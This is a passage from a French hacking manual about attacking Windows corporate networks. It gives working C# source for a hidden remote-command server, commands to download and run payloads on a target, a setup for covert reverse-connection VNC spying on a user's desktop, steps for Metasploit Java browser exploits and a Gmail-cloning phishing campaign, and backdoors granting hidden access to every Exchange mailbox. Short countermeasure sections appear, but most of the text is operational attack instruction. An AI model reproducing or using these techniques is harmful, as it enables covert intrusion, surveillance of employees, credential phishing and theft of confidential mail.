c. Le contournement pour la navigation
Un serveur proxy peut être utilisé pour empêcher les employés d’aller sur certain site jugé
improductif, sans intérêt ou dangereux pour l’entreprise. Les sites sont généralement bloqués
par rapport à l’URL de destination. Lorsque le navigateur demande une page au serveur, le
proxy contrôle dans sa liste si le site est bloqué ou autorisé en se basant sur son URL. Quand
le site est toléré, le proxy télécharge chaque élément d’une page, l’analyse, puis le transmet au
navigateur et l’enregistre dans son cache. Pour contourner ce blocage, il faut pouvoir aller sur
un site qui n’a pas une URL bloquée.
L’URL définit un site web, alors comment aller sur un site bloqué ? Simplement en utilisant
un proxy externe, dont l’adresse ne sera pas celle du site qui est bloqué et qui renvoie les
pages avec une autre URL.
Vous pouvez trouver des proxys sur ce site : http://www.free-proxy.fr/

Lorsque vous utilisez un proxy externe, vos logins et vos mots de passe seront transmis au
serveur. Ces informations pourront alors être enregistrées à votre insu.
Les proxys externes permettent aussi d’être cachés lors d’une attaque ou de la recherche de
renseignements. L’IP donnée au serveur web sera l’adresse du proxy externe.

Suivant le proxy, l’IP sera à chaque fois différente. Le serveur peut être hébergé dans un pays
lointain.
Ci-dessous, c’est une IP d’un serveur proxy en Inde qui est utilisée.

Ce type de serveurs est très utilisé pour ne pas être détecté lors d’une attaque. Pour être bien
caché, vous pouvez configurer votre navigateur pour utiliser un proxy en Russie puis, à
travers votre navigateur, passer par un proxy en page web en Inde. Il sera très difficile pour
l’administrateur du serveur attaqué de remonter jusqu’à l’attaquant.

8. Contre-mesures
Un des uniques moyens pour réduire fortement la possibilité d’utiliser un logiciel non prévu
est de définir une liste de logiciels autorisés et de bloquer tous ceux qui ne sont pas dans cette
liste. Vous pouvez réaliser cela en utilisant les restrictions logicielles et les stratégies de
groupe. Pensez également à empêcher l’utilisateur d’écrire dans les dossiers des applications
autorisées en appliquant des droits NTFS.
Pour empêcher un utilisateur de cacher des fichiers dans d’autres fichiers, il n’y a hélas que
l’analyse par un antivirus ou un produit tiers, FSRM ne gère que les extensions de fichier. Les
flux alternatifs, eux, sont détectables facilement avec l’outil qu’il vous a été proposé de créer.
L’utilisation d’un proxy externe pour surfer sur un site externe normalement bloqué peut être
surveillée et stoppée si votre proxy prend en charge les listes dynamiques de contenu. Il faut
aussi analyser régulièrement les logs et visiter les sites suspects.
Le vol de document confidentiel est hélas difficile à contrecarrer. Une passerelle mail ou un
proxy réduisent les possibilités mais ils ne sont en général pas "étanches". La seule vraie
contre-mesure consiste donc à empêcher l’utilisation du document volé et non pas le vol lui-
même. Pour cela, vous pouvez classifier vos documents manuellement ou à l’aide de FSRM
puis les protéger en les cryptant avec Microsoft RMS (Rights Management Services).

Prendre le contrôle d’une machine distante


Prendre le contrôle d’une machine veut dire que celle-ci obéira à nos moindres souhaits. Si
nous avons un compte utilisateur sur la machine, nous pourrons alors activer un certain
nombre de fonctionnalités prévues pour l’administration afin de pouvoir continuer à avoir
accès à la machine. Nous pouvons aussi faire installer et activer nos propres logiciels sur
l’ordinateur d’un utilisateur afin de contrôler sa machine.

1. Utilisation des outils administration de Windows


Un compte d’utilisateur local peut plus moins être caché sur un PC ou un serveur. Dans un
domaine Active Directory, il peut être noyé parmi les autres utilisateurs déjà existants. Pour
administrer un serveur distant, les systèmes Windows proposent beaucoup d’outils comme
Winrm, le bureau à distance et Telnet. Winrm et Telnet permettent d’exécuter des lignes de
commande à distance. Ils nécessitent tous les deux d’avoir un compte autorisé à se connecter.
a. Installer Telnet Server
Pour administrer une machine distante, nous allons installer Telnet Server sur la machine et
Telnet Client sur la vôtre.
Pour faire installer Telnet Server, utilisez la ligne de commande suivante avec les droits
administrateurs :
pkgmgr /iu:"TelnetServer" /quiet
Configurez le service pour qu’il démarre automatiquement et modifie le contexte d’exécution
pour que le serveur Telnet s’exécute avec les droits système de la machine.

Sc config TlntSVR start= auto obj= localsystem


Puis on démarre le service :
Sc Start TlntSVR
Vous pouvez changer le port du serveur avec la commande :
Tlntadmn config port=443
b. Utiliser le Client Telnet
Pour pouvoir vous connecter sur un serveur Telnet, vous devez avoir un client. Depuis
Windows Vista, Telnet Client n’est plus installé par défaut. Vous pouvez l’installer avec la
ligne de commande ci-dessous ou passer par le Panneau de configuration :
pkgmgr /iu:"TelnetClient" /quiet
Une fois le programme installé, démarrez Telnet avec comme paramètre l’IP ou le nom de la
machine. Si vous avez changé le port, ajoutez-le comme deuxième paramètre.
Telnet nomMachine
Une fois connecté, vous devez fournir des informations de connexion.

C’est une manière simple d’avoir un accès à une machine. Elle est toutefois difficile à mettre
en œuvre, puisqu’il faut que la personne qui exécute votre application piégée ait des droits
administrateurs et vous devez posséder un compte sur la machine.
c. Utiliser PuTTY
Si vous n’avez pas le droit d’installer Telnet sur votre machine, vous pouvez télécharger et
utiliser PuTTY. Téléchargez le logiciel sur le site officiel : http://www.putty.org
Une fois le logiciel téléchargé, vous pouvez l’exécuter sans installation. Vous n’avez qu’à
vous connecter en définissant que vous utilisez Telnet, l’adresse IP et le port si vous l’avez
changé.

PuTTY est une application pratique qui peut servir à de nombreuses fins. Elle nous servira
aussi comme client potentiel pour notre propre développement.

2. Utilisation d’une application NetCommand en .NET


Telnet Server et Winrm sont pratiques, mais ils nécessitent d’avoir des droits administrateurs
pour s’installer et démarrer. Il est aussi nécessaire d’avoir un compte utilisateur et un mot de
passe valables sur la machine distante. Un utilisateur sans droits administrateurs ne peut donc
pas être manipulé par un script installant le serveur Telnet. Et si le compte que vous aviez créé
est supprimé par l’administrateur, vous n’aurez plus d’accès avec Telnet.
a. Créer une application serveur
Pour pallier le problème du serveur Telnet, nous allons créer une application
approximativement semblable. Cette application doit pouvoir être exécutée avec des droits
utilisateurs et ne pas nécessiter de login lors d’une connexion distante. Le port d’utilisation
devra pouvoir être choisi pour être sûr que l’application pourra recevoir les demandes de
connexions à travers le pare-feu local.
Créez un fichier texte Netcmd.txt avec le Bloc-notes et ajoutez le code suivant :
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Net;
using System.Net.Sockets;
namespace NetCommand
{
class Program
{
static private int port = 666;
static private string executable = "powershell.exe";
static void Main(string[] args)
{
if (args.Length > 0)
{
int.TryParse(args[0],out port);
if (args.Length > 1)
{
executable = args[1];
}
}
TcpListener serveur = new TcpListener(port);
serveur.Start();
Byte[] donnee = new Byte[512];
String command = null;
while (true)
{
TcpClient client = serveur.AcceptTcpClient();
NetworkStream flux = client.GetStream();
Console.WriteLine("Connected from " +
client.Client.RemoteEndPoint.ToString() + " to the server port "
+ port);
StreamReader r = new StreamReader(flux);
StreamWriter w = new StreamWriter(flux);
while (true)
{
try
{
command = r.ReadLine();
Console.WriteLine(command);
w.WriteLine(execute(command));
w.Flush();
}
catch { }
}

}
}
static private string execute(string command)
{
Process p = new Process();
p.StartInfo.RedirectStandardError = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.Arguments = "/c " + command;
p.StartInfo.FileName = executable;
p.Start();
string retour = p.StandardOutput.ReadToEnd();
retour += p.StandardError.ReadToEnd();
p.WaitForExit();
return retour;
}
}
}
b. Compiler l’application
Pour compiler l’application, allez dans le dossier de votre framework .NET et exécutez la
ligne de commande suivante :
cd Windows\Microsoft.NET\Framework\v2.0.50727
csc /out:c:\temp\netcmd.exe c:\temp\netcmd.txt
Il est possible qu’un message d’avertissement s’affiche lors de la compilation, ignorez-le.
Vous pouvez modifier l’application pour qu’elle ne soit pas visible, qu’elle démarre
automatiquement ou que son nom soit plus discret. Vous pouvez aussi la transformer en
service Windows pour avoir les droits système sur la cible. Tout ceci est décrit dans le
chapitre Fabriquer ses propres outils de hacking avec de nombreux exemples.
c. Utiliser le serveur
L’application démarrée va s’ouvrir et écouter par défaut sur le port 666. Les commandes
exécutées le sont par PowerShell, à la différence de Telnet qui utilise CMD par défaut.
Pour démarrer l’application serveur avec un port particulier, ajoutez le port après
l’exécutable :
Netcmd.exe 5985
Le serveur écoute sur le port 5985, un port normalement prévu pour WinRM. Ce port est
ouvert par défaut sur Windows Server 2012 même si WinRM n’est pas activé.
Si vous souhaitez utiliser cmd.exe à la place de PowerShell, mettez le port puis le nom de
l’application :

Netcmd.exe 5985 cmd.exe


L’utilisateur piraté par ce logiciel n’a pas besoin de droits particuliers pour exécuter ce
serveur. Il suffira de piéger une application ou un raccourci pour que vous puissiez vous
connecter sur la machine cible.
d. Se connecter sur le serveur
Pour exécuter des commandes distantes, démarrez Telnet avec comme paramètre l’IP ou le
nom de la machine et le port de connexion :
Telnet 192.168.0.123 666
Une fois connecté, écrivez une commande puis appuyez sur [Entrée], la première commande
n’est pas affichée, les suivantes le seront.
Connectez-vous, puis écrivez une commande PowerShell, comme ls. Vous saurez ainsi dans
quel dossier se trouve votre application.
Toutes les commandes PowerShell sont disponibles, mais si vous souhaitez utiliser des
variables, vous devez écrire une seule ligne et séparer les commandes par le caractère « ; ».
Si vous utilisez PuTTY :

L’exemple suivant démontre l’utilisation d’un objet .NET, pour faire télécharger une
application depuis Internet à la cible.
$w = New-Object System.Net.WebClient;$w.DownloadFile
("http://www.site.com/app.exe","c:\users\public\app.exe")
Une fois l’application téléchargée, vous pouvez la faire exécuter en donnant le chemin dans la
console.
Vérifiez si l’application a été téléchargée :
Ls c:\users\public
Exécutez l’application :
C:\users\public\app.exe
Dans un réseau local, vous pouvez aussi faire copier des fichiers depuis un partage sur le
serveur ou depuis votre machine. Imaginons qu’il existe un dossier public auquel tout le
monde a accès, par exemple, N:\public\.
Nous allons vérifier si l’utilisateur a la lettre de montée :
Net use
Si la liste est vide, nous allons ajouter la nouvelle lettre, ajouter un dossier, copier les fichiers
et supprimer la lettre.
net use n: \\serveur\partage
mkdir dossier
xcopy source n:\dossier\destination /y
net use n : /delete /y
Lors de l’écriture de commandes, pensez à ajouter la confirmation automatique, souvent avec
/y ou, en PowerShell, -confirm :true.
Vous avez pu observer que ce simple développement de notre application netcmd.exe a un
énorme potentiel en termes de piratage. Vous pouvez par exemple faire télécharger VNC
serveur sur la machine cible et vous y connecter.

Le logiciel que vous venez de tester est une imitation d’un outil connu sous le nom de netcat.
Netcat, comme NetCommand ou Telnet, demande une connexion vers la machine cible et elle
ne permet que l’utilisation de la ligne de commande.

3. Utilisation d’un outil de bureau à distance


a. Le bureau à distance (RDP)
Le bureau à distance (RDP) a déjà fait le sujet d’une démonstration de piratage ; vous
trouverez les explications dans les premiers chapitres de ce livre. Une fois la machine piratée,
vous allez pouvoir vous y connecter sans login. En appuyant cinq fois sur la touche [Shift], la
ligne de commande s’ouvre avec les droits système.
Dans le chapitre Outrepasser les restrictions logicielles, il y a une explication d’un moyen de
contournement du login d’authentification. Cette technique ne permet pas de voir ce que fait
l’utilisateur, mais vous donne un accès à sa session à distance, même si l’utilisateur a
verrouillé son poste de travail.
b. VNC en connexion directe
Si la machine n’a pas le bureau à distance activé, la cible ne pourra pas se faire manipuler si
elle n’a pas les droits administrateurs. Nous allons alors utiliser un autre programme.
UltraVNC va nous permettre de nous connecter et de voir le bureau de l’utilisateur à distance.
UltraVNC nécessite par défaut d’être installé et une icône s’affiche à l’utilisateur. Ce qui n’est
pas discret et peu intéressant pour nous.
Téléchargez UltraVNC sur le site : http://www.uvnc.com/
Ouvrez le fichier zip et prenez uniquement winvnc.exe et vncviewer.exe.
Les autres fichiers sont des plug-ins que nous n’utiliserons pas.
Ouvrez l’application winvnc.exe et cliquez avec le bouton droit de la souris sur l’icône du
serveur dans le menu Admin Properties.
Vous pouvez ici définir les paramètres du serveur.
Cliquez sur DisableTrayIcon, modifiez le mot de passe et définissez éventuellement un autre
port, comme le 5985, puis cliquez sur OK.
Ceci va créer un fichier de configuration, UltraVNC.ini. Si ce fichier se trouve à côté de
vinvnc.exe lors de l’ouverture de l’application, il fera en sorte de cacher l’icône de VNC à
l’utilisateur. L’exécution sera donc discrète. Il ne faut donc que deux fichiers pour exécuter
VNC dans ce mode.
Une fois l’application lancée sur l’ordinateur cible, vous pouvez vous connecter sur le bureau
à distance de l’utilisateur en utilisant la deuxième application vncviewer.exe.
Ouvrez le programme, puis entrez le nom de la machine ou l’IP, puis le port si vous l’avez
modifié.
Une fois la connexion établie, vous devez mettre le mot de passe défini pour la configuration
du serveur.
Vous avez maintenant accès au bureau et pouvez voir ce que voit et fait l’utilisateur, tout cela
très discrètement.
c. VNC en connexion inversée
Nous avons pu nous connecter à l’ordinateur cible, mais cela seulement si le pare-feu et le
port que nous avons donné sont bien ouverts. Ce n’est pas toujours évident de trouver un port
autorisé en entrée, surtout si l’administrateur a mis des stratégies de groupe efficaces pour
n’autoriser que l’indispensable. Nous devons, pour pallier ce problème, inverser le sens de la
connexion. Par défaut, les connexions sortantes sont toutes autorisées. Pour inverser le sens de
connexion, nous allons activer l’écoute sur le client et demander au serveur de se connecter
dessus.
Pour demander au serveur de se connecter automatiquement au client :
winvnc.exe -autoreconnect -connect 91.121.24.95::8080
Le serveur ainsi démarré se connectera automatiquement au client et tentera régulièrement de
le faire s’il n’y arrive pas.
Pour activer l’écoute du client, démarrez-le avec les paramètres suivants :
vncviewer.exe -listen 8080
Une fois que la cible aura démarré le serveur, vous n’aurez qu’à attendre quelques instants
pour voir le bureau distant de l’utilisateur.

Les techniques pour créer un piège et pour inciter un utilisateur à tomber dans votre guet-
apens ont déjà été expliquées dans les chapitres précédents ; la démarche complète ne sera
donc pas répétée ici.
Utilisez Iexpress, créez un package de votre application et faites-la télécharger par la cible
grâce à un raccourci utilisant PowerShell, ou créez un raccourci piégé dans un fichier zip vers
l’application déposée sur un partage réseau accessible par l’utilisateur.

4. Contre-mesures
La ligne directrice de ces applications est l’utilisation du réseau. Il faut donc absolument
empêcher une application non définie de pouvoir générer du trafic sortant ou entrant. Depuis
Windows Vista, Microsoft a intégré un pare-feu puissant capable de bloquer autant le trafic
sortant que le trafic entrant, il faut simplement le configurer pour que celui-ci n’autorise que
ce qui est nécessaire à l’entreprise. Pour cela, utilisez les stratégies de groupe pour créer des
règles précises intégrant si possible les machines source, les machines destination ainsi que
les applications autorisées. Pour savoir ce qui est utile ou non, vous pouvez, avant de tout
bloquer, activer le traçage de l’activité du pare-feu, puis analyser celle-ci pour en créer des
règles adaptées à votre environnement.

2. Metasploit et Armitage
L’utilisation d’une vulnérabilité est bien différente de celle d’une application piégée, puisque
dans le cas d’une faiblesse l’utilisateur n’aura pas forcément besoin d’intervenir. Une
connexion sur une machine écoutant sur un service qui n’est pas à jour, la visite d’un site web
ou l’ouverture d’un vrai fichier PDF malformé par la victime peut suffire pour compromettre
son système.
Metasploit est une plateforme de recherche et d’exploitation des failles système et
applicatives. Il sert d’outil d’audit et de test, ou d’outil d’attaque. Il est maintenu à jour et
permet l’analyse d’une machine, il propose des attaques, puis donne des payloads. Un payload
est ce que nous allons faire de l’attaque, comme exécuter des commandes à distance, se
connecter au serveur VNC pour obtenir le bureau de la victime, copier des fichiers, etc.
a. Installer Metasploit sur Windows
Avant d’installer Metasploit et Armitage, créez un dossier spécifique et désactivez
l’antivirus pour cet emplacement. Si vous ne le faites pas, lors de la décompression du
logiciel, votre antivirus va s’affoler et supprimer la plupart des « exploits ». Vous devrez aussi
désactiver votre pare-feu pour être sûr qu’il ne pose pas de problème lors d’une attaque.
Créez le dossier C:\Metasploit\ et téléchargez Metasploit à l’adresse :
http://www.metasploit.com/
Définissez l’emplacement de l’installation au dossier préparé :
Définissez le port d’écoute du service : 3790
Passez l’étape suivante et laissez l’application installer ses fichiers, bases de données et ses
scripts. - Acess Metasploit Bew UI ! Cocher
Metasploit est maintenant disponible à l’adresse définie lors du choix du port d’écoute :
https://localhost:3790/.
Vous devez mettre un nom d’utilisateur et un mot de passe :

Vous devez activer le produit en cliquant sur GET PRODUCT KEY.

Vous avez le choix entre une version payante plus complète et à l’essai pour 7 jours, et la
version communautaire gratuite. Dans le cas d’une attaque brève, vous pouvez choisir la
version d’essai. Mais si vous souhaitez pouvoir utiliser Metasploit un peu plus longtemps,
prenez la version communautaire.

Inscrivez-vous et activez le produit, vous aurez ensuite accès à l’interface de Metasploit.


Une fois installé, allez dans le dossier C:\Metasploit\ et exécutez le script
dev_msfupdate.bat de mise à jour de la plateforme pour obtenir tous les derniers exploits.

b. Installer Armitage sur Windows


Les versions récentes de Metasploit proposent une interface graphique via un site web
dynamique, ce qui n’était pas le cas avant. Le produit reste complexe et incomplet via le site
proposé. Armitage est une interface complète et simple qui supporte jusqu’à aujourd’hui
toutes les versions de Metasploit. Nous allons utiliser cette interface ; elle va nous faciliter
l’introduction au Framework Metasploit, qui mériterait un livre dédié.
Vous pouvez télécharger un zip à l’adresse suivante :
http://www.fastandeasyhacking.com/download
Vous pouvez extraire le fichier zip dans un dossier C:\Metasploit\armitage, ainsi l’antivirus
ne l’effacera pas.
Lors du démarrage d’Armitage, il vous demandera de se connecter à Metasploit et vous
devrez aussi indiquer le dossier d’installation de celui-ci.
c. Analyser un réseau avec Armitage
Armitage est une interface graphique pour Metasploit. Il ne fonctionne pas sans ce dernier.
Une analyse avec Armitage va utiliser Nmap ou la console Metasploit en arrière-plan.
Pour lancer un scan des machines sur votre réseau d’entreprise, allez dans le menu Hosts puis
Nmap Scan et cliquez sur Intense Scan.
Donnez l’IP ou le sous-réseau à analyser par Nmap :
Une console s’ouvre en dessous et envoie le résultat à Metasploit.
Une fois le scan terminé, vous pouvez analyser les machines à la recherche de failles
directement exploitables. Pour cela, allez dans le menu Attacks - Find Attacks.
Vous avez maintenant la possibilité de faire un clic droit de la souris sur une machine et d’y
voir les potentielles attaques possibles.
Les attaques possibles n’ont pas été testées. Elles se rapportent juste aux systèmes et aux ports
détectés lors du scan.
d. Utiliser une faille système ou applicative avec Armitage
Depuis Windows 7, les failles directement exploitables se font rares. Si la machine à attaquer
est une version très peu mise à jour de Windows XP, vous aurez peut-être une chance avec
une attaque directe.
Pour cela, cliquez sur l’icône de la machine XP avec le bouton droit de la souris sur Attack -
smb - ms10_061_spoolss.
Une fenêtre s’ouvre, vous expliquant quelle faille l’exploit va utiliser, et vous demande où
doit se connecter le client en retour. Ce type d’attaques a très peu de chance de fonctionner
sur Windows 7 ou Windows 8, à moins qu’une nouvelle faiblesse ne soit découverte sur un
des protocoles de Windows et que le pare-feu ne protège pas le service en question.
Les failles les plus exploitables sur Windows 7 et les versions supérieures sont plutôt du type
applicatif. Le but de ce type d’attaques est de proposer à un utilisateur d’aller sur un site en
particulier. Ce site est une page web piégée par une vulnérabilité du navigateur ou l’une des
applications qu’utilise le navigateur pour le confort de l’utilisateur, comme Adobe Flash,
Adobe Acrobat Reader, Java, etc. Pour pirater un de ces systèmes, nous allons utiliser une
faille Java dans le navigateur. Nous aurions pu choisir Adobe Flash ou directement une
faiblesse du navigateur.
Allez dans la partie gauche, ouvrez Exploit - multi - browser et sélectionnez
java_jer17_jmxbean, ce code affecte Java jusqu’à la version 1.7 mise à jour en janvier 2013.
La version 2 affecte la mise à jour faite pour combler la faille de Java 1.7 après la mise à jour.
Vous devez estimer la version installée sur l’ordinateur cible.
Configurez la valeur de SRVHOST avec votre IP et définissez la valeur SRVPORT sur le
port de votre choix. Vous pouvez configurer la valeur de URIPATH avec une valeur parlante
pour l’utilisateur.
Le serveur est créé avec l’exploit choisi et il attend les demandes de connexion.

Si Java n’est pas à jour, il est possible qu’il vous demande si vous souhaitez le mettre à jour
maintenant. Malheureusement pour l’utilisateur, la plupart du temps, les mises à jour de Java
demandent d’avoir des droits administrateurs.
Si l’utilisateur continue, il sera contaminé par l’applet Java sans confirmation.

La machine change d’image ; elle est sous contrôle de Metasploit.


Cliquez avec le bouton droit de la souris sur la machine contaminée et choisissez
Meterpreter - Explore puis Show Processes. Choisissez un processus et cliquez sur Inject
ou Migrate. Le but de ces opérations est de déplacer l’infection dans un autre processus car si
l’utilisateur ferme le navigateur, la connexion sera perdue. Vous ne pourrez migrer l’infection
que vers un processus dont l’utilisateur ayant ouvert la page est propriétaire.

Pour manipuler la machine cible, cliquez sur Interact et puis sur Command Shell ou sur
Meterpreter Shell.
La ligne de commande vous permettra de commander le PC.

Vous pouvez faire une saisie d’écran depuis le menu. D’autres actions sont
disponibles, suivant le système attaqué, dans Meterpreter1 - Explore - Post Modules.

Si la machine cible utilise un antivirus à jour, il est très probable que l’exploit utilisé soit
détecté par l’antivirus.
Cette méthode peut paraître très simple et pratique, mais elle est facilement détectée par un
antivirus. La seule manière d’utiliser ce type d’exploits est d’attaquer des systèmes qui ne sont
pas bien tenus à jour ou d’utiliser un exploit directement lors de sa publication, avant que les
systèmes et les antivirus n’aient été mis à jour.
e. Attaquer depuis l’interface web de Metasploit
L’interface web peut paraître très compliquée. Elle est dans les faits relativement simple et
rapide, surtout si l’on souhaite partir depuis l’attaque. Vous pourrez en profiter pour voir que
tout ce qui a été fait dans Armitage est présent dans le site.
Connectez-vous sur l’interface : https://localhost:3790/
Allez dans le menu Modules. Cherchez en fonction de l’attaque, dans notre cas, écrivez
Java.

Les attaques sont présentées par date de sortie, ce qui a un énorme avantage : on peut
facilement sélectionner la dernière vulnérabilité « jouable ».
Sélectionnez une attaque. Vous y verrez le descriptif et les paramètres nécessaires à son
exécution.

Vous retrouverez les tâches actives dans le menu Tasks.

En cliquant dessus vous aurez le détail des tâches exécutées ainsi que leur éventuel résultat. Si
une faille a fonctionné, vous aurez aussi accès à la machine distante grâce à la console de
commandes spécifique à Metasploit, le Meterpreter.

L’utilisation est donc très simple quand on part d’une attaque.


f. Utiliser un faux site web copié avec Metasploit Pro
Pour piéger un utilisateur, nous allons utiliser les campagnes intégrées dans la version Pro de
Metasploit. Attention, ce logiciel ne nous donnera pas la possibilité de récupérer les
informations que l’utilisateur a saisies. Mais c’est tout de même très intéressant puisque vous
aurez les noms de ceux qui sont les plus faibles et qui peuvent être attaqués par la suite. Vous
pouvez aussi l’utiliser pour renvoyer l’utilisateur directement sur le site malformé après le
formulaire.
Allez à l’URL que vous avez définie lors de l’installation du produit : https://localhost:3790/
Nous aurons ensuite à activer les fonctions de la version Pro. Pour cela, allez dans le menu
Administration - Software License et téléchargez les fichiers en cliquant sur GET
METASPLOIT PRO TRIAL.

Allez dans le menu Campaigns, donnez un nom.

Cliquez sur E-Mail et remplissez les champs qui définiront votre adresse e-mail.

Ajoutez des utilisateurs cibles en cliquant sur Choose a Target List, puis cliquez sur Next.
Éditez le texte qui sera l’e-mail envoyé. Vous pouvez utiliser des variables liées à l’utilisateur
cible. Puis cliquez sur Save.

Vous êtes maintenant à nouveau dans le menu de la campagne.


Cliquez sur le bouton Landing Page.
Vous allez ici pouvoir configurer l’adresse qui sera utilisée pour héberger le faux site, ainsi
que l’endroit où sera redirigé l’utilisateur après avoir rempli le formulaire.

Une fois le formulaire rempli, cliquez sur Next. Un formulaire a été créé par Metasploit et
vous pouvez le modifier. Nous vous conseillons plutôt que de refaire un formulaire existant de
choisir l’option en haut à droite Clone Website qui va reproduire à l’identique un site d’après
son adresse, comme dans l’exemple ci-dessous une réplique du site www.gmail.com.

Cliquez sur Save une fois l’édition terminée.


Vous devez maintenant configurer le serveur de messagerie qui enverra votre mail aux
personnes cibles.
Cliquez sur E-mail Server pour configurer le serveur. Mettez votre serveur Exchange dans la
mesure du possible. Si cela ne fonctionne pas, installez votre propre serveur SMTP sur votre
machine et configurez cette partie avec Localhost comme serveur. Puis enregistrez en
cliquant sur Save.
Vous pouvez modifier les informations concernant le serveur web, comme son IP et le port
utilisé, dans le menu Web Server.

Une fois la campagne enregistrée, il ne reste plus qu’à envoyer le mail préparé aux futures
victimes, en cliquant sur Start. Les mails sont envoyés et le site attend les connexions des
utilisateurs.
En cliquant sur le bouton Findings, vous verrez un rapport des utilisateurs ayant ouvert le
mail, cliquez sur le lien ou ayant rempli le formulaire.

3. Contre-mesures
Les failles système sont en général indépendantes de la configuration des systèmes et des
applications. Heureusement, la plupart des plugins Metasploit fabriqués sont créés en faisant
de l’ingénierie inversée sur le correctif publié par les fournisseurs, ce qui laisse souvent le
temps d’installer les mises à jour de sécurité avant que l’outil ne soit efficace. Attention, entre
la sortie d’un patch et son utilisation pour pirater un système, un délai de moins d’une
semaine suffit.
Toutefois, certaines vulnérabilités ne sont pas créées à partir du correctif, il s’agit donc de les
détecter et de bloquer l’application concernée avant que ce soit le pirate qui le fasse. Pour
cela, vous pouvez utiliser Nessus qui permet un scan des machines de votre réseau avec un
rapport complet sur les failles potentielles découvertes. Il ne reste plus ensuite qu’à résoudre
le problème. Vous pouvez également vous enregistrer à la newsletter de secunia sur
http://Secunia.com qui vous enverra un mail à chaque nouvelle faille découverte.
Microsoft propose WSUS comme outil pour gérer les mises à jour de manière centrale pour
ses produits et systèmes. Nous vous recommandons donc grandement l’implémentation de ce
service.

Introduction aux portes dérobées actives et


passives
Installer une porte dérobée consiste à laisser sur une machine piratée un moyen de prendre ou
reprendre le contrôle en temps utile. Une porte dérobée active laisse une entrée directe,
comme un service à l’écoute d’un ordre. Une porte dérobée passive est beaucoup plus subtile.
La fonction n’est activée que dans une circonstance particulière et ce mode est beaucoup plus
discret. Il nécessite souvent une intervention indirecte de l’utilisateur.

Conserver discrètement un accès à un


serveur ou à un PC
Les méthodes que nous allons étudier, dans cette première partie, sont actives. Nous allons
nous donner les moyens de nous reconnecter sur une machine.

1. Écouteur Terminal Server


Pour nous laisser une porte d’entrée, nous allons ajouter un port d’écoute sur le bureau à
distance.
Pour ajouter un port d’écoute RDP, il suffit d’exporter la clé de registre :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\
Terminal Server\WinStations\RDP-Tcp
Éditez le fichier Reg exporter, modifiez le nom de la clé :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\
Terminal Server\WinStations\RDP-Tcp2
Modifiez la valeur de la clé PortNumber, qui correspond au port d’écoute.
PortNumber=D3E
D3E correspond à 3390 en décimal. Vous pouvez ici mettre n’importe quel port.
En réimportant le fichier Reg ainsi modifié, après le redémarrage du système, il y aura un
deuxième port d’écoute 3390 pour le bureau à distance. Cette modification n’a de sens que si
vous avez aussi modifié le système pour pouvoir contourner le login avec les droits système et
désactiver l’authentification par le réseau comme vu au début de cet ouvrage.

2. Programme en .NET
Pour garder un contrôle de la machine, vous pouvez utiliser les logiciels que nous avons
programmés dans le chapitre Fabriquer ses propres outils de hacking, ou encore celui vu dans
le chapitre Prendre le contrôle à distance. Les moyens de garder le contrôle sur un PC sont
nombreux ; il suffit de planifier leur installation lors de l’attaque initiale.
Conserver discrètement un accès à un
serveur web ou de messagerie
Les serveurs web d’une entreprise sont souvent hébergés en externe. Dans certains cas, ils se
trouvent dans la DMZ, mais rarement à l’intérieur de l’entreprise. Mais qu’en est-il d’une
infrastructure Exchange, SharePoint ou Lync ? Ces applications utilisent et même nécessitent
des services web. Elles sont en général protégées par un pare-feu et par un reverse proxy. Il va
donc falloir contourner cette éventuelle sécurité.

1. Avoir accès à toutes les boîtes mail d’un serveur Exchange


Ces manipulations ne sont possibles que lors de l’installation ou de l’administration de ces
services par une personne interne ou un consultant ayant les droits. Vous devez d’abord
obtenir les droits nécessaires si vous souhaitez appliquer ces changements. Profitez-en pour
créer un compte de type Service caché dans une unité d’organisation.
a. Groupe de sécurité
Pour avoir accès aux boîtes aux lettres des utilisateurs sur un serveur Exchange, vous devez
posséder le droit d’administration sur les comptes de courrier. L’utilisateur doit normalement
lui-même vous autoriser à avoir accès à sa boîte de réception. Toutefois, deux groupes de
sécurité ont un contrôle total sur tous les dossiers mail de tous les utilisateurs. Ces groupes
sont Exchange Servers et Exchange Trusted Subsystem.

En ajoutant votre compte d’utilisateur à un de ces groupes, vous aurez accès aux mails de
toute l’entreprise. Nous vous conseillons le groupe Exchange Trusted Subsystem, parce
qu’il n’est attribué à aucun rôle référencé dans la page de gestion des groupes de sécurité
d’Exchange. Par contre, le groupe Exchange Servers permet en plus de manager les serveurs.

Pour ajouter un utilisateur à ce groupe, ouvrez la console Utilisateurs et ordinateur Active


Directory.
Allez dans l’unité d’organisation spécifique à Exchange, Microsoft Exchange Security
Groups et ajoutez votre compte d’utilisateur au groupe Exchange Trusted Subsystem.

Il est possible que cela ne fonctionne pas. Dans ce cas vous devrez attribuer les droits
directement de votre compte sur la boîte mail.
Add-mailboxpermission -identity "user@domaine.fr" -user
"ServicesEx@domaine.fr" -accessright fullaccess
L’application de ces droits peut prendre jusqu’à 15 min. Il est donc possible que vous ayez un
accès interdit pendant ce temps-là.
b. Ouverture d’une boîte mail
Une fois la modification effectuée, vous pourrez ouvrir les boîtes mail et calendriers que vous
souhaitez.
Pour cela, allez sur l’interface web de votre messagerie et connectez-vous avec votre compte.
c. PowerShell
Si vous créez un compte utilisateur, vous pouvez activer la boîte aux lettres avec la
commande suivante :
Enable-Mailbox -Identity domaine\nom -Database Database01
Pour avoir le nom de la base de données Exchange, si vous ne la connaissez pas :
get-mailboxdatabase
Pour que les informations de l’utilisateur n’apparaissent pas dans la liste d’adresses globale :
Set-mailbox -identity "nom du service"
-HiddenFromAddressListsEnabled $true
Pour activer l’accès web :
Set-mailbox -identity "nom du service" -owaEnabled $true
Pour donner à un utilisateur l’accès complet à une autre boîte mail :
Add-mailboxpermission -identity "cible" -user "votre compte ou
groupe" -accessright fullaccess

2. Modifier une application web pour conserver un accès depuis l’extérieur


Lorsque des serveurs comme Exchange, SharePoint ou Lync sont connectés avec le monde
extérieur, ils proposent des services accessibles depuis partout. Certains de ces services ont
des applications obligatoires pour leur bon fonctionnement, comme Autodiscover, EWS
(Exchange Web Services), Lync Meeting, ABS (Address Book Service) pour Lync et bien
d’autres.
a. Ajouter un pool d’applications
Pour avoir un accès avec les droits système sur l’application, nous allons créer un application
pool sur le serveur IIS (Internet Information Services) où un de ces services a été installé.
